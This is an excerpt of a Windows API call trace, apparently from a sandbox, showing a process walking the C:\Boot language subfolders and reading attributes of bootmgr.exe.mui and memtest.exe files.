	[0050.192] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123eda00 | out: lpFindFileData=0x123eda00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8216d3c, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x12a40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0050.192] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123eda00 | out: lpFindFileData=0x123eda00*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0050.192] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0050.192] GetFileAttributesExW (in: lpFileName="C:\\Boot\\ja-JP\\bootmgr.exe.mui" (normalized: "c:\\boot\\ja-jp\\bootmgr.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0x126f9778 | out: lpFileInformation=0x126f9778*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8216d3c, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x12a40)) returned 1
	[0050.192] GetFileAttributesExW (in: lpFileName="C:\\Boot\\ko-KR" (normalized: "c:\\boot\\ko-kr"), fInfoLevelId=0x0, lpFileInformation=0x126f97c8 | out: lpFileInformation=0x126f97c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0050.193] CreateFileW (lpFileName="C:\\Boot\\ko-KR" (normalized: "c:\\boot\\ko-kr"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0050.193] FindFirstFileW (in: lpFileName="C:\\Boot\\ko-KR\\*", lpFindFileData=0x123ed9e0 | out: lpFindFileData=0x123ed9e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0050.193] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123eda00 | out: lpFindFileData=0x123eda00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0050.193] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123eda00 | out: lpFindFileData=0x123eda00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8510830, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x12650, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0050.193] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123eda00 | out: lpFindFileData=0x123eda00*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0050.193] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0050.193] GetFileAttributesExW (in: lpFileName="C:\\Boot\\ko-KR\\bootmgr.exe.mui" (normalized: "c:\\boot\\ko-kr\\bootmgr.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0x126f9868 | out: lpFileInformation=0x126f9868*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8510830, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x12650)) returned 1
	[0050.193] GetFileAttributesExW (in: lpFileName="C:\\Boot\\memtest.exe" (normalized: "c:\\boot\\memtest.exe"), fInfoLevelId=0x0, lpFileInformation=0x126f98b8 | out: lpFileInformation=0x126f98b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x8bc7dbfe, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x76980)) returned 1
	[0050.194] GetFileAttributesExW (in: lpFileName="C:\\Boot\\nb-NO" (normalized: "c:\\boot\\nb-no"), fInfoLevelId=0x0, lpFileInformation=0x126f9908 | out: lpFileInformation=0x126f9908*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0050.194] CreateFileW (lpFileName="C:\\Boot\\nb-NO" (normalized: "c:\\boot\\nb-no"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0050.194] FindFirstFileW (in: lpFileName="C:\\Boot\\nb-NO\\*", lpFindFileData=0x123ed9e0 | out: lpFindFileData=0x123ed9e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0050.194] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123eda00 | out: lpFindFileData=0x123eda00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0050.194] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123eda00 | out: lpFindFileData=0x123eda00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xea212efb, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15850, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0050.194] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123eda00 | out: lpFindFileData=0x123eda00*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0050.194] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0050.194] GetFileAttributesExW (in: lpFileName="C:\\Boot\\nb-NO\\bootmgr.exe.mui" (normalized: "c:\\boot\\nb-no\\bootmgr.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0x126f99a8 | out: lpFileInformation=0x126f99a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xea212efb, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15850)) returned 1
	[0050.195] GetFileAttributesExW (in: lpFileName="C:\\Boot\\nl-NL" (normalized: "c:\\boot\\nl-nl"), fInfoLevelId=0x0, lpFileInformation=0x126f99f8 | out: lpFileInformation=0x126f99f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0050.195] CreateFileW (lpFileName="C:\\Boot\\nl-NL" (normalized: "c:\\boot\\nl-nl"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0050.195] FindFirstFileW (in: lpFileName="C:\\Boot\\nl-NL\\*", lpFindFileData=0x123ed9e0 | out: lpFindFileData=0x123ed9e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0050.196] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123eda00 | out: lpFindFileData=0x123eda00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0050.201] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123eda00 | out: lpFindFileData=0x123eda00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe84c457e, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0050.201] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123eda00 | out: lpFindFileData=0x123eda00*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0050.201] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0050.202] GetFileAttributesExW (in: lpFileName="C:\\Boot\\nl-NL\\bootmgr.exe.mui" (normalized: "c:\\boot\\nl-nl\\bootmgr.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0x126f9a98 | out: lpFileInformation=0x126f9a98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe84c457e, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250)) returned 1
	[0050.202] GetFileAttributesExW (in: lpFileName="C:\\Boot\\pl-PL" (normalized: "c:\\boot\\pl-pl"), fInfoLevelId=0x0, lpFileInformation=0x126f9ae8 | out: lpFileInformation=0x126f9ae8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0050.202] CreateFileW (lpFileName="C:\\Boot\\pl-PL" (normalized: "c:\\boot\\pl-pl"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0050.202] FindFirstFileW (in: lpFileName="C:\\Boot\\pl-PL\\*", lpFindFileData=0x123ed9e0 | out: lpFindFileData=0x123ed9e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0050.202] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123eda00 | out: lpFindFileData=0x123eda00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0050.202] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123eda00 | out: lpFindFileData=0x123eda00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe9e5ad4a, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0050.202] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123eda00 | out: lpFindFileData=0x123eda00*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0050.202] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0050.202] GetFileAttributesExW (in: lpFileName="C:\\Boot\\pl-PL\\bootmgr.exe.mui" (normalized: "c:\\boot\\pl-pl\\bootmgr.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0x126f9b88 | out: lpFileInformation=0x126f9b88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe9e5ad4a, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250)) returned 1
	[0050.203] GetFileAttributesExW (in: lpFileName="C:\\Boot\\pt-BR" (normalized: "c:\\boot\\pt-br"), fInfoLevelId=0x0, lpFileInformation=0x126f9bd8 | out: lpFileInformation=0x126f9bd8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0050.203] CreateFileW (lpFileName="C:\\Boot\\pt-BR" (normalized: "c:\\boot\\pt-br"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0050.203] FindFirstFileW (in: lpFileName="C:\\Boot\\pt-BR\\*", lpFindFileData=0x123ed9e0 | out: lpFindFileData=0x123ed9e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0050.204] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123eda00 | out: lpFindFileData=0x123eda00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0050.204] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123eda00 | out: lpFindFileData=0x123eda00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe83b9c0f, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16040, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0050.204] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123eda00 | out: lpFindFileData=0x123eda00*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0050.204] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0050.204] GetFileAttributesExW (in: lpFileName="C:\\Boot\\pt-BR\\bootmgr.exe.mui" (normalized: "c:\\boot\\pt-br\\bootmgr.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0x126f9c78 | out: lpFileInformation=0x126f9c78*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe83b9c0f, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16040)) returned 1
	[0050.204] GetFileAttributesExW (in: lpFileName="C:\\Boot\\pt-PT" (normalized: "c:\\boot\\pt-pt"), fInfoLevelId=0x0, lpFileInformation=0x126f9cc8 | out: lpFileInformation=0x126f9cc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0050.204] CreateFileW (lpFileName="C:\\Boot\\pt-PT" (normalized: "c:\\boot\\pt-pt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0050.204] FindFirstFileW (in: lpFileName="C:\\Boot\\pt-PT\\*", lpFindFileData=0x123ed9e0 | out: lpFindFileData=0x123ed9e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0050.204] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123eda00 | out: lpFindFileData=0x123eda00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0050.204] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123eda00 | out: lpFindFileData=0x123eda00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe823ce95, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15e40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0050.205] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123eda00 | out: lpFindFileData=0x123eda00*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0050.205] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0050.205] GetFileAttributesExW (in: lpFileName="C:\\Boot\\pt-PT\\bootmgr.exe.mui" (normalized: "c:\\boot\\pt-pt\\bootmgr.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0x126f9d68 | out: lpFileInformation=0x126f9d68*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe823ce95, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15e40)) returned 1
	[0050.206] GetFileAttributesExW (in: lpFileName="C:\\Boot\\ru-RU" (normalized: "c:\\boot\\ru-ru"), fInfoLevelId=0x0, lpFileInformation=0x126f9db8 | out: lpFileInformation=0x126f9db8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0050.206] CreateFileW (lpFileName="C:\\Boot\\ru-RU" (normalized: "c:\\boot\\ru-ru"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0050.206] FindFirstFileW (in: lpFileName="C:\\Boot\\ru-RU\\*", lpFindFileData=0x123ed9e0 | out: lpFindFileData=0x123ed9e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
